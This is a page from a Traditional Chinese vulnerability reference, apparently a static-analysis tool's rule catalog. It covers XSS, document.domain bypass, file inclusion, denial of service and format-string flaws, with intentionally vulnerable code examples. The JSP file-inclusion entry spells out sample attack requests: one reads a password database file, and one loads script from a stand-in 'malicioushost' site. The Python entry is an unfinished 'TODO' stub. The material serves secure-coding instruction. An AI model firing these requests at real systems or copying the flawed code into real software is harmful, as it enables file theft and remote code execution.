界: Input Validation and Representation

輸入驗證和表示法問題是由中繼字元、替代編碼和數值表示法引起的。信任輸入會導致安全問題。問題包括:「Buffer Overflows」、「Cross-Site Scripting」攻擊、「SQL Injection」及其他許多問題。

175 找到的項目
弱點
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在自我 XSS 的案例中,會從文字方塊或可從 DOM 控制的其他值來讀取資料,並以用戶端程式碼回寫到頁面中。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。在自我 XSS 的案例中,惡意內容會做為 DOM (Document Object Model,文件物件模型) 修改的一部分執行。

在自我 XSS 的案例中,惡意內容是以 JavaScript 片段,或瀏覽器執行的其他程式碼類型的形式出現。由於自我 XSS 主要是對自己的攻擊,所以常被認為不重要,但如果可能發生下列任一情況,則應視為標準 XSS 弱點來處理:

- 在您的網站上識別出「跨網站偽造要求」弱點。
- 社交工程攻擊可能說服某個使用者攻擊自己的帳戶,進而危及其階段作業。
範例 1:請考慮使用 HTML 表單:


<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>


以下的 jQuery 程式碼片段會從文字方塊讀取員工識別碼,並顯示給使用者。


$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});


如果文字輸入中的員工識別碼 (識別碼為 eid) 只包含標準英數字元,這些程式碼便會正確地運作。如果 eid 中有包含中繼或來源程式碼中的值,那麼在使用者按一下按鈕後,程式碼就會被新增至 DOM 供瀏覽器執行。如果攻擊者可以說動使用者將惡意內容輸入文字輸入中,那麼這就只是 DOM 型 XSS。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Jesse Kornblum Don't Be a Self XSS Victim Facebook
[4] Hans Petrich Weaponizing self-xss Silent Break Security
[5] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[6] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[7] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 1
[8] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 5
[9] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[10] Standards Mapping - CIS Kubernetes Benchmark complete
[11] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[12] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[15] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[16] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[17] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[18] Standards Mapping - FIPS200 SI
[19] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[20] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[21] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[22] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[23] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2021 A03 Injection
[28] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[29] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[30] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[31] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[38] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[39] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[41] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[42] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[43] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[44] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[45] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[46] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[65] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[66] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[67] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[68] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_self
Abstract
允許使用者輸入以控制確定可造成 XSS 弱點的相同來源策略 (SOP) 的設定。
Explanation
透過相同來源策略 (SOP) 略過而導致出現 Cross-Site Scripting (XSS) 弱點會在以下情況下發生:

1.資料從一個不可信賴的來源進入 Web 應用程式。


2.資料會傳送到設定,來確定指令碼可執行的頁面來源 (例如,document.domain)。

在執行之後,其他網域的攻擊者便可以設定相同的 document.domain,並在頁面上執行指令碼,就像它們位於完全相同的網域中一樣。

範例 1:以下項目會使用 URL 參數 domain,並將其作為頁面相同來源策略 (SOP) 的網域進行傳送。


<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>


大部分的瀏覽器僅允許將有效的超級網域傳送至 document.domain,因此,如果頁面位於「http://www.example.com」,則 document.domain 可設定為「www.example.com」或「example.com」,而不能設定為「com」或「example.org」。
但是,如果攻擊者位於其可以控制的網站的另一個部分,則可能能夠在其無法控制的網站部分執行指令碼。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 5
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark complete
[7] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[25] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[26] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_SOP_bypass
Abstract
若允許未經驗證的使用者輸入可控制以動態方式包含在 HTML 中的檔案,將會導致惡意程式碼的執行。
Explanation
許多現代的網路 script 語言,可透過在某個封包檔案中包含額外的來源檔案來重複使用與模組化程式碼。這種功能通常會應用在應用程式的標準外觀 (範本),因此,不需編譯程式碼便可共各種功能,或將程式碼分成較小的可管理檔案。所包含的檔案會被解譯成父系檔案的一部分,並以相同的方式執行。File Inclusion 弱點會在下列情況發生:所包含檔案的路徑由未經驗證的使用者輸入所控制。

範例 1:以下程式碼採用使用者指定的範本名稱,並將其包含在轉譯的 HTML 頁面中。


...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...


Example 1 中,攻擊者可能透過提供 includedURL 的惡意值來完全控制動態包含陳述式,這會導致程式包含來自外部站台的檔案。

如果攻擊者為動態包含指令指定有效的檔案,.NET 將會插入該檔案的內容至傳送給使用者的 HTML 檔案中。如果是純文字檔案,例如 web.config,檔案可能會成為 HTML 輸出的一部分。更糟糕的是,如果攻擊者可能指定由攻擊者控制的遠端站台的路徑,則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。
desc.dataflow.dotnet.dangerous_file_inclusion
Abstract
若允許未經驗證的使用者輸入可控制以動態方式包含在 JSP 中的檔案,將會導致惡意程式碼的執行。
Explanation
許多現代的網路 script 語言,可透過在某個封包檔案中包含額外的來源檔案來重複使用與模組化程式碼。這種功能通常會應用在應用程式的標準外觀 (範本),因此,不需編譯程式碼便可共各種功能,或將程式碼分成較小的可管理檔案。所包含的檔案會被解譯成父系檔案的一部分,並以相同的方式執行。File Inclusion 弱點會在下列情況發生:所包含檔案的路徑由未經驗證的使用者輸入所控制。

範例 1:以下是 Local File Inclusion 弱點的範例。以下程式碼範例採用使用者指定的範本名稱,並在產生的 JSP 頁面中加入該名稱。

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

如果攻擊者為動態包含指令指定有效的檔案,則會將該檔案的內容傳送到要在頁面上產生的 JSP 解譯器。

如果是以下形式的攻擊方式

specialpage.jsp?template=/WEB-INF/database/passwordDB

JSP 解譯器會對 JSP 頁面產生 /WEB-INF/database/passwordDB 檔案的內容,從而危害系統的安全性。

更糟糕的是,如果攻擊者可能指定由攻擊者控制的遠端站台的路徑,則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。

範例 2:該程式碼範例使用 c:import 標籤,將使用者指定的遠端檔案匯入目前的 JSP 頁面中。

...
<c:import url="<%= request.getParameter("privacy")%>">
...

以下形式的攻擊方式

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

會從由攻擊者控制的遠端網站,將惡意程式碼插入目前的 JSP 頁面。
desc.dataflow.java.dangerous_file_inclusion
Abstract
若允許未經驗證的使用者輸入對 PHP 中動態包含的檔案進行控制,會導致執行惡意的程式碼。
Explanation
許多現代的網路 script 語言,可透過在某個封包檔案中包含額外的來源檔案來重複使用與模組化程式碼。這種功能通常會應用在應用程式的標準外觀 (範本),因此,不需編譯程式碼便可共各種功能,或將程式碼分成較小的可管理檔案。所包含的檔案會被解譯成父系檔案的一部分,並以相同的方式執行。File Inclusion 弱點會在下列情況發生:所包含檔案的路徑由未經驗證的使用者輸入所控制。

File Inclusion 弱點是 PHP 應用程式中最多也最嚴重的弱點之一。在 PHP 4.2.0 版之前,PHP 安裝提供預設啟用的 register_globals 選項,這會讓攻擊者輕易地覆寫內部伺服器的變數。雖然停用 register_globals 可減少程式因為 File Inclusion 弱點受到攻擊的可能,但是這些問題仍存在現在的 PHP 應用程式中。

範例 1:下列程式碼包含一個檔案,該檔案位於範本中定義為 $server_root 的應用程式中。


...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...


如果 register_globals 設定為 on,則攻擊者可能透過提供 $server_root 作為要求參數來覆寫 $server_root 值,從而部分控制動態包含陳述式。

範例 2:以下程式碼採用使用者指定的範本名稱,並將其包含在要產生的 PHP 頁面中。


...
<?php include($_GET['headername']); ?$gt;
...


Example 2 中,攻擊者可能透過提供 headername 的惡意值來完全控制動態包含陳述式,這會導致程式包含來自外部站台的檔案。

如果攻擊者為動態包含指令指定有效的檔案,則會將該檔案的內容傳送到 PHP 解譯器。如果是純文字檔案,例如 /etc/shadow,檔案可能會成為 HTML 輸出的一部分。更糟糕的是,如果攻擊者可能指定由攻擊者控制的遠端站台的路徑,則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。
References
[1] Using Register Globals PHP Guide
desc.dataflow.php.dangerous_file_inclusion
Abstract
攻擊者將能夠在系統上使用任意內容建立檔案。
Explanation
攻擊者將能夠在伺服器的檔案系統中使用任意內容建立檔案。建立的檔案稍後可由攻擊者用於執行其他攻擊,這取決於控制插入檔案之內容的能力。

如果攻擊者能夠控制檔案的內容,且檔案由 Web 伺服器提供,則攻擊者就能夠插入惡意 Web Shell,進而讓其在伺服器上遠端執行任意指令。

如果攻擊者可能利用來自檔案系統中另一個檔案的內容來建立檔案,則能夠讀取檔案系統上可使用易受攻擊的應用程式的權限來存取的任意檔案。
References
[1] Exploit PHP’s mail() to get remote code execution
desc.dataflow.php.dangerous_file_injection
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源而造成資源耗竭的時間。

範例 1:以下程式碼允許使用者指定目前工作程序進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用工作程序。


...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
desc.dataflow.abap.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者指定其要求將消耗的系統資源數量,或是他們會持續使用這些系統資源的時間。

依預設,ASP.NET 會將用戶端提供的字典 (例如 HttpRequest.FilesHttpRequest.FormHttpRequest.CookiesHttpRequest.QueryStringHttpRequest.HeadersHttpRequest.ServerVariables) 大小限制為 1000,可使用組態設定檔案中的 aspnet:MaxHttpCollectionKeys 設定來增加或減少該大小。但是,將大小增加到更高的值會增加遭受 DoS 攻擊的可能性。

範例 1:在以下範例中,aspnet:MaxHttpCollectionKeys 設定為 2147483647

...
<appSettings>
<add key="aspnet:MaxHttpCollectionKeys" value="2147483647" />
</appSettings>
...
References
[1] ASP.NET appSettings Element Microsoft
desc.configuration.dotnet.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定目前程序進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用程序。


unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
desc.dataflow.cpp.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定執行緒進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用執行緒。因此,僅需要少數要求,攻擊者就可能耗盡應用程式的執行緒池。


Sleep(url.duration);
desc.dataflow.cfml.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定 Future 函數的執行時間。若指定較大的數字,攻擊者可能會無限期地佔用 Future 函數。


final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
desc.dataflow.dart.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定執行緒進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用執行緒。因此,僅需要少數要求,攻擊者就可能耗盡應用程式的執行緒池。


int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
範例 2:以下程式碼會從 zip 檔案讀取字串。因為它使用 readLine() 方法,它會讀取大量的輸入。攻擊者可能利用此程式碼產生 OutOfMemoryException 或消耗大量記憶體,讓程式花費更多時間來執行記憶體回收或者在一些後續作業中耗盡記憶體。


InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
desc.dataflow.java.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定要使用的檔案系統大小。若指定較大的數字,攻擊者可能耗盡檔案系統資源。


var fsync = requestFileSystemSync(0, userInput);
範例 2:以下程式碼會寫入檔案。以下程式碼會寫入檔案。由於檔案可能會不斷地寫入和重新寫入,直到使用者代理程式將其關閉為止,因此可能需要分析檔案內容的磁碟配額、IO 頻寬以及處理序會受到影響。


function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}

window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
desc.dataflow.javascript.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。
desc.dataflow.php.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定系統延遲處理程序的時間長度。若指定較大的數字,攻擊者可能無限期地佔用系統。


procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
desc.dataflow.sql.denial_of_service
Abstract
TODO
Explanation
TODO
desc.dataflow.python.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定執行緒進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用執行緒。因此,僅需要少數要求,攻擊者就可能耗盡應用程式的執行緒池。


Kernel.sleep(user_input)
範例 2:以下程式碼會從檔案中讀取字串。因為它使用 readline() 方法,且無需指定限制,所以它會讀取大量的輸入。攻擊者可能利用此程式碼使程序暫停,同時耗用越來越多的記憶體,直到可能完全耗盡記憶體。


fd = File.new(myFile)
line = fd.readline
desc.dataflow.ruby.denial_of_service
Abstract
允許使用者輸入以控制格式參數,可讓攻擊者能夠使系統拋出異常或洩漏資訊。
Explanation
攻擊者也許能夠修改 Format String 引數,使系統拋出異常。如果此異常處於未捕捉到的狀態,則可能使應用程式當機。或者,如果在其他引數中使用了敏感資訊,攻擊者便可能變更 Format String 以擷取此資訊。

範例 1:以下程式碼允許使用者指定 Formatter.format() 的 Format String 引數。


...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...


此程式的目的是讓使用者指定其顯示餘額的小數點。但事實上,對於這點,並沒有任何限制。如果使用者可指定任何內容,將可能導致異常,例如拋出 java.util.MissingFormatArgumentException,由於這不在 try 區塊中,所以可能導致應用程式失敗。
在此範例中,更嚴重的是,如果攻擊者可指定使用者輸入「2f %3$s %4$.2」,則 Format String 將會是「The customer: %s %s has the balance %4$.2f %3$s %4$.2」。然後,這將會導致敏感的 accountNo 包含到產生的字串中。
References
[1] IDS06-J. Exclude unsanitized user input from format strings CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
